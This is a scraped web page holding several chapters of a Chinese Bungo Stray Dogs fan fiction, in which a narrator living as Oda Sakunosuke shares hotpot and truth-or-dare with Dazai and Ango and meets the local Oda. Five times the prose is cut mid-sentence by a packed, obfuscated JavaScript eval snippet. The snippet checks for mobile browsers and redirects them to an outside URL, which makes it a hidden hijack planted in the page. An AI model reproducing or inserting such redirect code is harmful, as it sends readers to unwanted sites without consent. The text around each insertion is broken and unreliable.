“不愧是安吾啊。”我忍不住赞叹。 首领宰花了半个月都没敢问的问题,被安吾轻轻松松的问了。这个问题直抓重点,是我没办法回答的,也让我确认了两件事情。 “因为我掌握着很多情报。”我平静的叙述,回答堪称驴唇不对马嘴,并且给安吾举了两个例子,“例如……” “其一,你在昨天回去后,已经调查到了这里的织田作之助。” “其二,你刚才对我的外套发动了异能力‘堕落论’,但你没有找到我的真正来历。” 坂口安吾僵硬的坐着,额边隐约有些流汗: “……!!” 事实上,他确实顾不上我的回答题不对版了。如果不是他作为高级情报工作者的素养,他这会脸上已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803118|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经失态了。即便如此,看似平静的安吾心中也被掀起了惊涛骇浪。 西餐厅里一阵寂静,坂口安吾似乎被锁住了口舌,一时间哑口无言的说不出话。 被吓得不轻啊。 我头顶上的呆毛忍不住晃了晃。 “……织田先生,很爱说笑啊。” 安吾最后虚虚笑了两声,缓过来神,从我的反应中意识到了我这么说没有恶意。 安吾看着我,倒是欲言又止了一会儿,似乎想说些什么,又在做抉择,终于干巴巴的问: “织田先生,你真的知道太宰先生是做什么的吗?” 我沉吟了两秒钟。 回想了一下…… 看到了我外套上附带着的记忆,也就代表了安吾直面了我和首领宰互相心照不宣谜语人的种种时刻—— 从车站互相道出姓名初识,到莫名其妙的各种默契对话,再到不需要任何指明、两人话题直接丝滑过度到本世界的“某个人”身上。 安吾一定满头雾水吧。 他这么问,恐怕是理智在觉得‘我,是被港口黑手党首领隐瞒身份加PUA才哄骗来的友人’。而感性在疯狂报警,认为我这个面瘫红毛恐怕也没有看起来那么简单无辜。 我当然得坦然的说出真相——无赖派还缺安吾这个友人呢。 “嗯,如果你是说太宰的身份是港口黑手党的首领——这件事我是知道的。” “……果然吗!!” 安吾两眼一黑,看起来很受打击。他嘟嘟囔囔的发出一些琐碎动静,好像在悲愤控诉自己变成了我和太宰play上玩弄的一环之类的话。 他安详的合上双眼,心累的彻底安静了。 我看了眼时间,心有所感的转头看向了窗外:“……啊。” 漫漫黑夜中,穿着黑色外套的消瘦青年几乎与背景融为一体,只有手上的碎花小推车引人瞩目。 他回来了。 而此刻的时钟显示……不多不少,正好过去了一个小时。 14. 第十四章 火锅游戏 “……太宰先生已经回来了?”安吾顺着我的目光看过去,有一瞬间的着急慌张。 他看起来在组织语言,试图抓紧时间最后询问什么。 我回想到首领宰走前的深意话语,再看看这份精准过头的时间。 心中一动,想到了什么。 “呀,安吾已经来了啊!”太宰打了个招呼进门。他的脸颊被寒风冻得不轻,打着哆嗦和我交换小推车,抱怨着: “织田作出门要多穿点了,今天的天太冷了。” “不要紧。”我说。 我伸手去接被太宰准备拿起来的浅色外套,手臂微微用力,阻止了他,然后自己拿起来穿上。 有一瞬间,我确定我们两个拿衣服的力道在角力。但也只有那一下,首领宰微弱的力道马上消散了。 我把手熟门熟路的放进口袋。 首领宰的神色十分自然,走到桌位前坐下了,没有再看过来。 我摸到了一枚窃听器。 毫无意外的我:“…………” 我默默看着首领宰一动不动的后脑勺。 黑色后脑勺毛茸茸的翘着碎发,若无其事的一动不动,仿佛在对我卖萌。 安吾迷惑的看着我们,搞不懂这阵诡异起来的微妙氛围。但他看起来也不想深究,心累而没好气的叹了口气:“织田作先生,太宰先生,我先去厨房处理我的食材吧。” ——他选择避免成为我俩play上的某一环。 啊,安吾又把称呼换回来了。 我心里为这点改变高兴了一瞬,心满意足的出发了。 等我把食材买回来,这顿命运多舛的火锅终于要吃上了。 热气腾腾的火锅在翻滚咕嘟着小泡,氤氲起来的水蒸气模糊了三人的神情,在大家分别被要求闭上眼睛,好往火锅里下材料以后,可以开动了。 “那——么——” 首领宰目光阴暗,抄着勺子喃喃低语着,发出了男鬼一样的动静,“谁——先尝尝呢?” 安吾手指微微颤抖,推了下被雾气染白的眼镜,他看起来没有这份勇气。 我很乐于见到首领宰这么活泼的阴暗着,立刻积极的举手捧场了: “我来。” “喔!织田作选手先下第一勺吗?令人期待。” 首领宰的目光十分专注,他凝视着我拿着的漏勺,安吾同样死死盯着,屏住了呼吸。 今天的火锅采用的是番茄锅与辣锅双拼,没有选寿喜锅。我特地买到了中式鸳鸯锅来盛放汤底,虽然不知道这样的口味合不合他们两个。 原因很简单—— 锅里的汤底颜色如果太淡了,火锅游戏不就玩不起来了吗?一眼就可以看到里面下了什么。 只有当锅中被浓郁的红色笼罩,才会分不清这一筷子下去,是天堂还是地狱。 “……”我从辣锅里捞上来一只大螃蟹。 安吾骤然大松了口气:“什么啊,原来是普普通通的螃蟹。” 首领宰却看起来大受打击:“……安吾还真是没品味啊。那是我特地准备的美味青蟹!” 我把螃蟹放进盘子里的时候,首领宰在旁边安静的盯着:“盯——” 我把螃蟹掰开,品尝起了美味的蟹肉时,首领宰发出了败犬一样的细碎呜咽。 “螃、螃蟹……” “……被吃掉了。” 绷带青年幽怨渴望的把脸埋在了桌子上,变成Q版的模样,婴儿肥的圆脸蛋气到鼓鼓的,背景飘满了不祥的紫色怨气,碎碎念着什么。 我冷不丁瞥到了一眼,大为震惊。 出现了!!二次元特有的变Q版可爱脸! 武侦宰和黑时宰我知道可以,首领宰原来也行吗?! 但我吃的很快乐。 一来,我吃掉了首领宰心心念念的爱蟹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803119|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还看到了首领卖萌。二来,饱浸了辣汤的蟹肉鲜嫩美味,在冬日里吃上这么一口,再啜饮了壳里的汤汁…… 我面瘫着脸缓缓呼了口气,十分满足。 首领宰看起来变成灰白色了。 “没有办法啊。”安吾在旁边说着风凉话,忍不住的吐槽,“……锅里就这么大地方,下了螃蟹这种大的食物,第一下当然容易夹到了。” 黑发男子瞬间恢复了神态,视线威胁的俯瞰了过去,冷冰冰道: “下一个该安吾了吧?” “已经不掩饰了吗?!”安吾敢怒不敢言的抄起筷子。 我吃着螃蟹,愉快的看着太宰欺负安吾,安吾吐槽反击。 真好。 在安吾了解了更多我和太宰的事后,都有底气吐槽了,不再像刚开始那样纯然的生疏警惕。 眼镜青年谨慎的从锅里捞出来一个怪东西。 “这是什么?”他推了推眼镜,疑惑的问,神情十分不妙。 被他捞起来的东西滑溜溜的,软绵绵的,长长的挂在漏勺里,蘸满了辣汤,所以也红艳艳的。 就是有些像…… 人体组织。 “好运气哎安吾!我只放了三样东西,恭喜你选中了第二样。” 安吾的手开始颤抖,脸色有点发青了:“……所以这是什么?” “我想寻找一些特殊的美味食材。”首领宰闭上眼睛,神态恬静的回味了什么,自顾自说着。 “中华街刚好在特卖这种食材,我想着吃起来说不定会很有趣呢——它的名字叫脑花。” 安吾僵着筷子,坐立不安的汗流浃背了。 我不知道怎么的,非常不合时宜的想到了穿越前的一句话: ‘我们文野,也有自己的脑花……’ “噗。” “织田作先生!这种时候不该笑吧?!” “抱歉。” 15. 第十五章 真心话大冒险? 安吾视死如归的把那团怪东西放进碗中,吹凉了几下,塞进嘴里。 “………”他的表情猫猫头升华了。 我期待的问:“怎么样?” 咀嚼咀嚼。 “好像……好像还不错?”安吾睁开眼睛,意外的说。 除了卖相很离谱,香辣的味道意外的融合在一起,很是不错。 “是吧?”首领宰的嗓音平和了下来。 这下轮到他了。 会捞到什么呢? 绷带青年专注的一捞—— 一颗普通的火锅丸子。 “什么啊。”首领宰看起来很扫兴,不满的抗议,“这么普通的食材……是安吾还是织田作放的?” 我老实认领,没有急着分辨。 “……织田作先生!”安吾感激的看了过来,终于放心火锅里有能吃的食物了。 首领宰怏怏的消停了,他无可无不可的呼着气,准备咬上一口时,我开始语调不变的娓娓讲述这颗肉丸的故事: “非要说的话,它有一个不普通的名字。” “撒尿牛丸。意思是,口感像是牛撒尿在人的嘴巴里一样的感受。” 太宰,怎么样? 你要的不普通来了。 猛然看过来、回忆自己有没有得罪过我的坂口安吾:“………” 咬也不是、不咬也不是僵住了的首领宰:“…………” 我安详期待的注视着他们:“没关系,我放了很多。” 两秒钟过后,安吾似乎认命了。 他主动移开眼神,镇定的提醒着:“火锅游戏……” 首领宰被背叛似的睁大了眼睛:“织田作!安吾也——” 这一天。 有一头伟大的牛在港//黑首领的—— 咳,记忆重启一下。 火锅面前的我们三个无事发生,开始了新一轮探索。 我捞到了一只—— 白白扁扁的小笼包。 我:“……?!!” “啊,原来是织田作先生捞到了吗?”安吾很惋惜,这是他放的正常食材,但他没想到,另外两个人那么不做人。 我:“……” “嗯?”首领宰敏锐注意到什么。 我:“…………” 魂魄生无可恋的从我的嘴巴里飞了出来。 虽然cos织田作穿越到了横滨,但唯有这一点认知是刻在我的本质上无法改变的。 ……不要把小笼包放进火锅里啊! “织田作!织田作的魂魄飞出去了!”首领宰抱着我惊慌失措。 我顿了一下,意识到这一幕画面好像有点熟悉。 连忙恢复正常,抬头去看首领宰。 太宰的脸上没有异色。 还好……他看起来沉浸在火锅游戏的欢乐氛围中,应该没有被这有点地狱笑话的一幕创到。 终于轮到安吾幸灾乐祸了,他的眼镜严谨的反了一下光:“原来织田作先生接受不了这个吗?” 我没空回答,痛苦万分的吃下了这个浸满番茄汤汁的小笼包。 如果是辣的还好。 织田作之助本人真的很面瘫,就算我这么痛苦万分,脸上的神色差异估计也不大,不会被人察觉,这样一想,被迫吃下火锅小笼包的我更痛苦面具了。 三个人都被迫害一遍的事实让大家都气顺了。 接下来就正常多了。 安吾捞出来一只天妇罗炸虾,首领宰捞出来一只福袋,我捞出来一块汤豆腐。 经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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神色微妙的首领宰拖长了腔: “唉——好啊。” 16. 第十六章 捡织日 我很清楚,接下来会发生什么。 起码坂口安吾应该是没有查出织田作之助的异能力是什么的。 所以当我每一次都面瘫着脸,淡定的给出正确答案,无一败绩后。安吾的表情逐渐难以置信,灰暗,最后凝固。 “织田作先生……” 他看起来完全想不通,想要探解其中的原因,却只能先痛苦的拿起筷子,把剩余的食物往嘴巴里塞。 “什么嘛,安吾选择了大冒险啊。”首领宰在旁边煽风点火,语气懒懒,“我还以为安吾更喜欢真心话呢。” ‘——是更喜欢真心话,但不是喜欢自己说真心话啊!’ 坂口安吾埋着头艰难吃着,在心中怒吼。 他果然转移了注意力,在接下来对上了港口黑手党的首领先生,出示了两张牌: “太宰先生,哪张大?” 现在轮到我看戏了。 规则原本是我们三人轮流对别人发牌,输的人做出惩罚选择。但首领宰拒绝和我玩牌。 所以——改成了我们三人谁赢另一个人自动落败的残酷法则。 安吾看起来完全开裂了: “……为,为什么太宰先生也!” 织田作先生战无不胜,太宰先生怎么也猜的中,他们两个是作弊了吗?! 大冒险,对于坂口安吾来说已经变成了吃不下的负担。 明明是大冬天,他的脸上却淌着汗。 骑虎难下。 “安吾——选什么都无所谓,我对男人没有兴趣啦。”看着他迟迟无法做出选择,首领宰托着腮幽幽的嫌弃着,语气缥缈。 我默默看着。 安吾在很努力的抓住机会想探寻秘密了,可惜我有金手指,太宰是剧本组。我们两个对他的秘密也心知肚明。 今天这场真心话的确没什么想问的—— 如果对方是太宰的话就不同了。 我这么想着,下意识看了过去。 首领宰似乎和我想法一样,也正这么目光平静的扭头注视着我。 我们对视了半秒,时间都仿佛停止了转动。目光一触即发,又默契的各自错开了。 我收回眼神。 没错,这里还不是摊牌的时候…… 安吾圆形镜框后的眼神微动,似乎做了什么大胆的决断。刚才无人在意的他脸色惨淡的屈服了: “我选……真心话。” “哦?”首领宰的确没什么兴致,他随口问了一个话题,语气懒懒的,“安吾的任务是什么?” 坂口安吾颤巍巍的回复,眼神不由自主瞥向了我:“为了,为了调查港口黑手党在追捕的人。” 这句话让人浮想联翩。 我思忖的看了过去。 感觉我们三个人的马甲都在心照不宣的摇摇欲坠哎。安吾也是很有勇气的反向操作了。 既然他这么说了,在计划完成后,我也会给他一个合理的交代的。 下一轮失败后。 “进度呢?” “织田作先生……有两个。”即便是故意说出来的,重复出这个结论也够让坂口安吾震撼的了。 他充分明白了港口黑手党的关注是为什么,但他还没明白两个织田作先生是怎么回事。 他们听起来不认识却又互相熟知。 “真没意思啊。”首领宰更倦怠了,叹息着望了过去,目光变得冷酷又毫无动摇, “安吾,我对你的秘密毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803121|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无兴趣,但我有一个忠告——” “就只是看着。” 他的告诫说的更像是命令。 氛围骤然转冷。 坂口安吾却不知道想了什么,似乎接收到了讯息,他的神色凝重许多,垂头应了。 我:“?” 所以今天的真心话大冒险结束了是吗? 你们两个各自获得了答案,而我收获了迷惑。 但这也意味了一件事情—— 我在散场后单独找上了安吾,向他询问本世界织田作之助的住处。 安吾吓了一跳:“织田作先生……这是不是太冒险了?直接上门?” 看过我外套上残留记忆的他,神色忐忑不安,似乎比我还担心我们两个的见面。 他发自内心的忧虑着。 “我有办法。” 我没有多说,心中多了一丝紧迫。 自从异能特务科调查到织田作之助,自从安吾发动了他的异能,自从我对首领宰说明了我与织田作本人的会面……这一切的发展都像是按了快进键一样。 现在的我,是不得不立刻去见红发男人。 尽早完成我的计划。 因为,首领宰刚才与我对视的意思很明显…… 他在等着我。 我们期待已久的最后一场谈话,已经不远了。 …… 第二天傍晚。 昼伏夜出工作、刚刚睡醒准备出门填饱肚子的织田作之助打开房门。 看到了一个穿着毛绒绒大熊玩偶的家伙笨拙站在门口,手中举起的记事本上端正的写着一行大字: “——织田作超人,请帮帮我!” 织田作之助:“……?” 17. 第十七章 鸽之助 如果是普通人,此时会吐槽来人古怪的断句称呼和奇形怪状的玩偶装。 但织田作之助沉默了一下,平淡的说:“我不会帮助看不到真容的人。” 我在心里惊叹了一下。 不会吐槽的真·织田作! 这是表里如一的治愈系男子,现在我懂相处起来是什么感受了。 我解释着:“我的样貌不能被别人看到,可以进去再说吗?” “……”红发男人看了我两秒,总感觉他更戒备了,一言不发的打开门让我进去。 这是出于我和他一模一样的声线,织田作注意到了。 我本能的扫视了一遍房间。 整洁的客厅,没有太多人类活动的痕迹,但地板也没有落灰。一张桌子上的弹//药还没收起来。 我装作没看见,老实坐在了沙发上,摘下了头套。 关上门走过来的红发男人:“……” 织田作之助.exe,停止响应。 我不由得揣测他在想什么。 这张脸过于面瘫了,没有反应又只是望着我的时候,根本分不清织田作是在震惊,在戒备,还是单纯的在等我后续解释。 ——可能就是在等我解释。 “你听说过平行世界吗?”我开口举例子。 我说不出‘我就是你’之类的话,太大言不惭了。但我是以织田作之助的身份出现在文野世界的,也能勉强这么解释。 织田作听完还没有忘记重点,他直言不讳的问:“你有什么需要我的帮忙?” 语气很平淡,听不出还有没有怀疑我是异能力者变化来的,或是疑虑他的同位体遇到了什么困难。 我也不在乎这些,一见面没有被敌对就达到了我的目的。 “——我现在在一家西餐厅工作。” 我拜托着:“有一个非常难搞的孩子,我一个人哄不过来。但不久后我会出差一段时间……” “孩子吗。”织田作之助喃喃重复着,脸色发生了细微的变化,不大确定, “……被拜托带孩子,我还是第一次。” “作为答谢——我请你吃非常好吃的咖喱饭。”我甩出了杀手锏,“有地狱级别的辣度!” 我没有看错,织田作之助的眼睛一瞬变亮了。 他看不出来神色变化,语气却坚定了很多的说:“我没有哄好孩子的自信,但可以试试。” 如果报酬是非常好吃的咖喱饭的话,那就没办法了。 “走吧。”我站了起来,报出西餐厅的名字,自觉的发了名片,“你有听说过这个地方吗?老板自己研制的辣椒非常辣。” 报酬先付吗? 织田作之助没有异议,他本来就是要出门寻找食物填饱肚子的。 这天傍晚,我们赶在西餐厅关门前吃上了一餐辣咖喱。 “织田酱,这是你兄弟吗?”胖老板好奇的笑呵呵问着,倚在柜台后面,“你们长得真像啊。” 如果不是两个人都坐在他面前,他完全会认错人。 “是另一个织田作之助。”我没有掩饰。 胖老板的笑容突兀僵在了脸上。 ‘二,二重身?!’ 遇到了自己的二重身后会怎么样来着……要怎么解决来着…… 胖老板一头汗的绞尽脑汁想着。 他再看看高桌前—— 两个红发男人都很淡定,旁若无人的快速吃着辣咖喱。另一个——没穿玩偶服的那一个,面不改色的吃下了胖老板店里的最高辣度咖喱。 “……我第一次吃到这么合口味的咖喱饭。” 他口吻和缓的说,看起来很淡然,勺子往嘴里挥动的速度却十分的快,也不知道怎么保持的频率。 “……咳咳。”我顾不上说话,双目无神的在和冰水奋斗。 我果然吃不下那种恐怖辣度,入口的第一瞬间,我感觉自己的灵魂已经进了油锅了。 “织田酱……吃不下还是别浇辣味了。”胖老板担心的欲言又止着,他怀疑本店雇员的那一个已经辣到神志不清,只剩本能了。 “我可以……”我呆滞的喃喃说着。 这可是织田作同款还原辣咖喱,又是织田作第一次来吃的时间……必须原汁原味的打卡! 一顿饭罢,我变成了面瘫版织田猫猫头:“……” 辣到眼神放空了。 温馨的暖色灯光,空气中弥漫的好闻饭香,被阻拦在玻璃门外的呼啸寒风。我在这阵舒适的氛围下,发出了邀请: “我还知道一个好地方……等我忙完,我们一起去喝酒吧。” “啊。”这一次织田作之助答应的就流畅多了。 他看起来已经放下了最初的戒备与猜疑,因为他平淡的说:“我本来以为你是什么可疑人物。” 吃了一顿辣咖喱后就不是了吗? 不过,能打消警惕太好了。 我默默的说:“见到和自己长得一模一样的人突然出现,不戒备的人才可怕吧。” 但最可怕的还是织田作到现在都没问过我,为什么会来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803122|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这个世界,为什么要离开。我不说,他就不问。 不愧是织田作本作。 正合我意。 吃完了饭,他就告辞了。 “还有工作没完成。”织田作之助这么说着,“下次我再来拜访。” 我想了想,没有多说什么。有个人比我更操心织田作之助写不写小说。 愉快的道了别,我帮着老板收拾好厨房,锁门,才回了二楼…… 窗户前,正有一道身影慢吞吞的往里爬。 “太宰,他已经走了……你可以走门进来。”我忍不住的说,又顿了一下,莫名其妙感觉自己说的话非常有既视感。 首领宰泰然自若的鬼鬼祟祟着,从窗沿上跳了下来。他把手抄进了黑色大衣口袋里,对自己的行为不做解释。 “织田作打算把他带去lupin那边吗?” “暂时不会,我们还能喝酒一段时间。”我解释着。 太早带过去的话,连去lupin喝酒,首领宰都得像这样拼命躲避着人了。 我没问这么晚了,首领宰怎么又来。 ——只要能睡着觉,随便他睡哪里。 绷带青年熟门熟路的在被褥上坐下来,天气越发冷了,他有些讶然的发现这里多出了一个新东西。 方形的木制小桌子上放着笔和本子,一盘柑橘,下面却连着一条淡色格子款式的被子——这是冬季特有的取暖用品: 被炉。 “嗯?” 首领宰探究的目光淡淡落在了它上面,不知道在想什么:“…………” 五分钟后。 被炉里面抓捕到了一只绷带精,在暖烘烘的柔软被子陷阱里动弹不得,发出了闷闷的叫声: “织田作——” “还在写吗?什么时候可以看到织田作写的小说?一篇、一段——不,开头也可以。” “……快了,真的快了。”我硬着头皮说,也坐到被炉前,重新拿起笔,痛苦的绞尽脑汁起来。 半天过去,却没有落下一个字。 …… 穿越前,我在被催着写小说,穿越后,我还在被催着写小说。 这小说……真的不能鸽吗? 我抬头看看,安详缩在旁边被炉里的青年。一和我对视,他的眼眸中就露出了期许的亮光,盯着我的笔的神态仿佛在无声询问: ‘怎么了?’ “………”我痛苦面具的继续低下头。 写。 ……今天也在汗流浃背啊! 18. 第十八章 摊牌前夕 我又憋了一段时间,还是放下了笔,决心祸水东引: “太宰,这个世界上不是只有我一个人能写小说。” 枕着自己手臂的绷带青年缓缓睁开眼睛,他很聪明,意识到了我的意思。 但首领宰没有第一时间说话。 “织田作……他还没有开始写。”半晌,望着天花板的黑发男子给出了一个模糊不清的答案。 “你能等到的。”我一边不动声色说着,一边悄悄收起了纸本。 “能等到……吗?” 首领宰枕着自己的手臂,目光迷蒙的陷入了什么记忆中去,他喃喃着。 他满足了。 我目不转睛的观察着他的神情,剥起了橘子,又找了个话题:“对了,太宰,明天我们去lupin酒馆吧,我想到了清洁剂掺威士忌该怎么调了。” “真的吗?!” 首领宰猛然坐了起来,精神抖擞的盯着我,眼睛都微微睁大了,“真的是清洁剂掺威士忌吗?好厉害,织田作!” “但我联系不上安吾。” 首领宰并不觉得这是一件多难的事:“安吾啊,他那边交给我。” 他不情愿的把自己从桌炉里拔出来,重新披上散落在地上的黑色大衣,再戴好红色围巾——不知道从这两天的哪时起,他重新戴上了这个。 然后,青年推门出去了。 ——这种大冷天,他去哪里? 我纳闷的跟着起身走出去看看。 在二楼门口,有铁栏杆围成的楼梯拐角。我站在这个背风处,清晰的看到夜色下,不远处停了一辆眼熟的黑色轿车。 和首领宰借我开的那辆同款。 太宰的身影一片漆黑,几乎融进了夜色中,我找了两秒才发现,熟悉的白发少年站在车门后,恭敬的低头与首领交谈着。 想必是去吩咐安吾的事了吧。 看这个架势,首领宰今晚又要睡在我这里了。 我想了想,转身回了房间,从杂物柜里找出其他被褥,准备往地上再厚厚的铺上几层。冬天打地铺还是要再厚些。 …… 寒冷的夜风中,黑衣男子周身环绕的那点热气也被很快吹散了,露出来的那只眼眸里暗沉沉的,他的声音低了下去。 又变回了恐怖的代名词。 “敦,我有说过不需要每天过来吧。” “是中原大人……”中岛敦深深的埋下了头,脸色苍白,穿着高领的厚款外套,却还在微微打着哆嗦。 他硬着头皮汇报: “中原大人派我来禀告,他已经代为批改完了本月的文件,强烈——强烈要求出外差。” 对于中原大人的原话,敦咽了下去,无论如何都不敢对首领复述。 什么‘在黑暗的房间里连着高强度工作了一个月……再这样待下去,人就要变成发酵恶心的青花鱼了!’ 什么‘横滨最近来了不少没长眼睛的人,应对那些试探不是首领的工作吗?!他想提前让位给我,倒也不是不行——’ 伴随着这句话的是赭发青年不含一丝水分的杀意神情和缓缓活动的肩膀关节。 “把未来三个月的筹备项目也拿给他。”太宰治眼皮都不眨一下的做了决定,口吻平淡而冷酷,就像根本没听到最高干部快暴动了一样。 “是。”敦大气都不敢出的低头应下,他又勤勤恳恳的汇报着, “Boss,小镜花找到那只三花猫了。” “自从两年前,那只三花猫失去了踪迹,小镜花断断续续的查到它出没在横滨街头,最近出现在了一家书屋里。” 太宰治沉默的听着,像是一块石头,没有一点微弱的反应。 敦已经习惯了这样的汇报方式,所以他流畅的继续说:“昨天,织田作之助……是另外一个织田先生,出现在了书屋。” “他和书屋老板交谈了一会儿,买了几本书,作者就是那位夏目先生。” 太宰的眼神突然微动,转头看了过来。 他的视线落在了敦的身上,鸢色眼眸中却空无一物,什么都没有映出来。而是沉浸在记忆里,忘我的喃喃呓语着: “已经到这个时间了……” “没错,第二阶段……必须要进行计划了,时间已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803123|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经不多了。” “第二阶段?”敦疑惑的重复,却没得到回答。他微微抬起头,胆怯的注意到首领的模样变得非常危险,口中又在说着听不懂的话了。 …… 等我铺好了床,就着灯光捧着笔记本匆匆写着什么时,首领宰裹着一身寒气回来了。 他一声不吭的缩进了被炉里,用手指挡着刺眼的灯光,似乎睡着了的安静缄默。 我不着痕的下意识合上笔记本,抬头去观望他的反应,发觉绷带青年只出去了一趟,就变得有些心事重重的。 ——这副模样,更像是我和首领宰初识那两天。 明明中间这大半个月里,首领宰在我面前已经活泼了很多。 是听到了什么吗? 我有些不解。 “织田作,明天除了去和安吾喝酒——你还想做什么?”太宰轻松的嗓音响起,像平常的闲谈。 这一秒我似乎想了很多,又似乎老老实实按照他给的设想认真思考了一遍:“……” “想吃硬豆腐。” 最后我找回了声音这么提议着,“说好了的。我会调一个我喜欢的口味,太宰,给你尝尝。” “好啊。” 首领宰轻松应下,他的模样活像是我现在提什么提议,他都能答应似的。 果然是要摊牌了吗? 我心中有些惋惜,为我们相处的时间如此短暂。 我心中也十分期待忐忑,为明天的计划执行而感到情绪激荡。 如果事情顺利,我就能长久的留在这个世界,但如果失败……我可能会被迫离开。 真的会顺利吗? 我能改变这一切吗?首领宰那么聪明,他猜到了多少? 这一晚上,我没睡好。 身旁一直很安静,我听不出来首领宰有没有醒着。 但我想今晚一定很难忘。 夜幕淡去,只有寥寥几颗星子还挂在天边留恋不愿离去。寒冷而熹微的天光渐亮,路上逐渐有了车马行人走动的声响。 ——不管我们抗拒还是期待,第二天都不急不缓的到来了。 19. 第十九章 摊牌日 lupin酒馆里昏黄的灯光在桌面上晕开一圈,把透明的玻璃杯映的目眩神迷。 今天的我站在吧台后面,专注的往威士忌里兑了薰衣草粉末,树脂和其他香料。 首领宰目光灼灼的盯着我的动作。 ——掺了洗涤剂的威士忌味道,其实只是一种刻板印象。 当洗涤剂惯常使用某种花草香味的时候,我只需要模拟出这种香味和近似口感掺进威士忌,就能给人一种喝洗涤剂的错觉了。 但这种聪明的方法并不是我的首创。 我不知道首领宰有没有认出来,或者我当初的手笔有没有拙劣的伪装过去…… 这其实是另外一个世界中的太宰想出来的。 如同“首领宰”“武侦宰”这样的称呼来区分不同的文野世界一样,那个平行世界的太宰被称为“荒宰”。 我光明正大的偷学了他的妙招。 ——最后酒被调成了一种很梦幻的仿佛在冒着剧毒泡泡一样的颜色。 别管好不好喝。 首先它很好看。 我:“……” 首领宰面露动容:“……!” 一个太宰喜欢的口味,当然也能获得另外一个太宰的喜爱。 首领宰半垂着眼帘,缓缓饮下了那杯安全的“洗涤剂掺威士忌”。 他的神情一半怀念一半遗憾。 我知道,怀念的这一半是“太宰治”们想获得的这一种新奇尝试,终于被首领宰亲身体验到了的满足。 遗憾的一半只能是因为它的“无害”了。 偏偏现在的首领宰需要这份无害。 所以披着红围巾的青年安静的放下了玻璃杯,没有再抿上一口。 “什么味道?” 坂口安吾在旁边围观完了全程。他左右看看,我们两个都没有再说话,就像这个话题已经过去了一样。 安吾毫不意外的没忍住好奇心问道。 首领宰评价: “——像是嚼到没有味道的胶质口香糖。” 我在心里同声重复着。 这也是当初荒宰的评价。 没有掺入真正毒性的洗涤剂味威士忌,就是这样一种让人意外的口感吧。 “接下来轮到我了。”首领宰端出他忙碌了一个白天的得意之作——改良版硬豆腐,然后掏出了一把看起来就很不妙的电锯子。 “喂喂……”安吾的额边挂起了冷汗,“这到底要怎么吃啊?” 我一脸安详:“只要切割成能咽下去的大小,避免牙齿与硬豆腐的碰撞,就可以做到了。” “果然只有亲身试验过一次,才知道到底该怎么吃呢。”首领宰说这句话的时候语气带上了笑意。 他已经不再是第一次邀请我吃硬豆腐时的那个青涩男子了。这一次的绷带青年动作熟练,气势可怕的摁住了盘中的硬豆腐,挥舞起了电锯子—— 我如约取出了我的调味料,是今天傍晚前特别拐去中华街买的。 我想,首领宰一定意识到了我身上不太“织田作”的那部分生活经历,但他什么都没问。 毕竟今天是摊牌日啊。 已经快到散场的时间了。 “……”想到这里,我有些食不下咽。 反而是首领宰专注的一口一口吃完了硬豆腐,没有对我新款的调味料发表意见。 安吾是一个非常懂气氛的人,很快就迟疑的抬起头:“……?” 在这种氛围里继续吃东西,好像让他有些胃痛了。 